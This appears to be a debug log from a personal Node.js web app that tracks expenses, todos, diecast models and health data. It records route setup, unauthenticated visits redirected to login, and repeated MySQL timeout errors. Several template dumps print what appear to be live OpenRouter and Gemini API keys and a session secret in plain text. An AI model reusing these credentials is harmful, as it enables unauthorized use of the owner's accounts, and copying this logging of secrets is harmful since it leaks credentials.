2026-05-23T10:58:56.804Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-23T10:58:56.807Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-23T10:58:56.809Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-23T10:58:56.811Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-23T10:58:56.815Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-23T10:58:56.820Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-23T10:58:56.830Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-23T10:58:56.835Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-23T10:58:56.907Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-23T10:58:56.908Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-23T10:58:56.912Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-23T10:58:56.919Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-23T10:58:56.922Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-23T10:58:56.924Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-23T10:58:56.931Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-23T10:58:56.934Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-23T10:58:56.941Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-23T10:58:56.941Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-23T10:58:56.947Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-23T10:58:56.947Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-23T10:58:56.953Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-23T10:58:56.959Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-23T10:58:56.959Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-23T10:58:56.962Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-23T10:58:56.964Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-23T10:58:56.967Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-23T10:58:56.969Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-23T10:58:56.975Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-23T10:58:56.979Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-23T10:58:56.982Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-23T10:58:56.991Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-23T10:58:57.482Z server-connect:router Serving templateView /
2026-05-23T10:58:57.485Z server-connect:app Executing action step identify
2026-05-23T10:58:57.486Z server-connect:app options: { provider: 'security' }
2026-05-23T10:58:57.488Z server-connect:auth No login cookie found
2026-05-23T10:58:57.489Z server-connect:output identity: false
2026-05-23T10:58:57.489Z server-connect:app Executing action step restrict
2026-05-23T10:58:57.489Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-23T10:58:57.493Z server-connect:output restrict: undefined
2026-05-23T10:58:57.888Z server-connect:router Serving templateView /login
2026-05-23T10:58:57.888Z server-connect:app Executing action step identify
2026-05-23T10:58:57.889Z server-connect:app options: { provider: 'security' }
2026-05-23T10:58:57.889Z server-connect:auth No login cookie found
2026-05-23T10:58:57.889Z server-connect:output identity: false
2026-05-23T10:58:57.889Z server-connect:router Render template layouts/authentication
2026-05-23T10:58:57.889Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.25',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-24T10:58:57.886Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.25',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-23T19:21:46.944Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-23T19:21:49.215Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-23T19:21:50.080Z server-connect:setup:upload Upload middleware configured.
2026-05-23T19:21:50.081Z server-connect:secure CSRF Protection initialized
2026-05-23T19:21:50.084Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-23T19:21:50.088Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-23T19:21:50.089Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-23T19:21:50.090Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-23T19:21:50.098Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-23T19:21:50.099Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-23T19:21:50.114Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-23T19:21:50.128Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-23T19:21:50.131Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-23T19:21:50.133Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-23T19:21:50.135Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-23T19:21:50.138Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-23T19:21:50.145Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-23T19:21:50.154Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-23T19:21:50.160Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-23T19:21:50.229Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-23T19:21:50.230Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-23T19:21:50.235Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-23T19:21:50.241Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-23T19:21:50.245Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-23T19:21:50.248Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-23T19:21:50.255Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-23T19:21:50.259Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-23T19:21:50.264Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-23T19:21:50.267Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-23T19:21:50.270Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-23T19:21:50.272Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-23T19:21:50.274Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-23T19:21:50.280Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-23T19:21:50.281Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-23T19:21:50.284Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-23T19:21:50.284Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-23T19:21:50.289Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-23T19:21:50.291Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-23T19:21:50.297Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-23T19:21:50.301Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-23T19:21:50.304Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-23T19:21:50.313Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-23T19:21:50.805Z server-connect:router Serving templateView /
2026-05-23T19:21:50.807Z server-connect:app Executing action step identify
2026-05-23T19:21:50.807Z server-connect:app options: { provider: 'security' }
2026-05-23T19:21:50.809Z server-connect:auth No login cookie found
2026-05-23T19:21:50.809Z server-connect:output identity: false
2026-05-23T19:21:50.809Z server-connect:app Executing action step restrict
2026-05-23T19:21:50.810Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-23T19:21:50.814Z server-connect:output restrict: undefined
2026-05-23T19:21:51.321Z server-connect:router Serving templateView /login
2026-05-23T19:21:51.321Z server-connect:app Executing action step identify
2026-05-23T19:21:51.321Z server-connect:app options: { provider: 'security' }
2026-05-23T19:21:51.321Z server-connect:auth No login cookie found
2026-05-23T19:21:51.321Z server-connect:output identity: false
2026-05-23T19:21:51.321Z server-connect:router Render template layouts/authentication
2026-05-23T19:21:51.322Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'Close',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
    pragma: 'no-cache',
    accept: '*/*',
    'accept-language': 'en-US,en;q=0.8',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '82.165.209.144',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-24T19:21:51.319Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '82.165.209.144',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'Close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
    HTTP_PRAGMA: 'no-cache',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '82.165.209.144',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-23 19:40:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-23 19:40:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-23 21:58:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-23 21:58:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 00:56:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 00:56:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 01:30:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 01:30:51' as DATETIME)"
}
2026-05-24T01:54:52.231Z server-connect:router Serving templateView /
2026-05-24T01:54:52.233Z server-connect:app Executing action step identify
2026-05-24T01:54:52.233Z server-connect:app options: { provider: 'security' }
2026-05-24T01:54:52.234Z server-connect:auth No login cookie found
2026-05-24T01:54:52.234Z server-connect:output identity: false
2026-05-24T01:54:52.234Z server-connect:app Executing action step restrict
2026-05-24T01:54:52.234Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T01:54:52.235Z server-connect:output restrict: undefined
2026-05-24T01:54:55.115Z server-connect:router Serving templateView /login
2026-05-24T01:54:55.115Z server-connect:app Executing action step identify
2026-05-24T01:54:55.116Z server-connect:app options: { provider: 'security' }
2026-05-24T01:54:55.116Z server-connect:auth No login cookie found
2026-05-24T01:54:55.116Z server-connect:output identity: false
2026-05-24T01:54:55.116Z server-connect:router Render template layouts/authentication
2026-05-24T01:54:55.116Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '67.205.133.184',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-25T01:54:55.115Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '67.205.133.184',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '67.205.133.184',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 01:55:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 01:55:51' as DATETIME)"
}
2026-05-24T02:22:04.088Z server-connect:router Serving templateView /
2026-05-24T02:22:04.090Z server-connect:app Executing action step identify
2026-05-24T02:22:04.090Z server-connect:app options: { provider: 'security' }
2026-05-24T02:22:04.090Z server-connect:auth No login cookie found
2026-05-24T02:22:04.090Z server-connect:output identity: false
2026-05-24T02:22:04.090Z server-connect:app Executing action step restrict
2026-05-24T02:22:04.090Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T02:22:04.091Z server-connect:output restrict: undefined
2026-05-24T02:24:09.992Z server-connect:router Serving templateView /
2026-05-24T02:24:09.992Z server-connect:app Executing action step identify
2026-05-24T02:24:09.993Z server-connect:app options: { provider: 'security' }
2026-05-24T02:24:09.993Z server-connect:auth No login cookie found
2026-05-24T02:24:09.993Z server-connect:output identity: false
2026-05-24T02:24:09.993Z server-connect:app Executing action step restrict
2026-05-24T02:24:09.993Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T02:24:09.993Z server-connect:output restrict: undefined
2026-05-24T02:45:29.734Z server-connect:router Serving templateView /
2026-05-24T02:45:29.736Z server-connect:app Executing action step identify
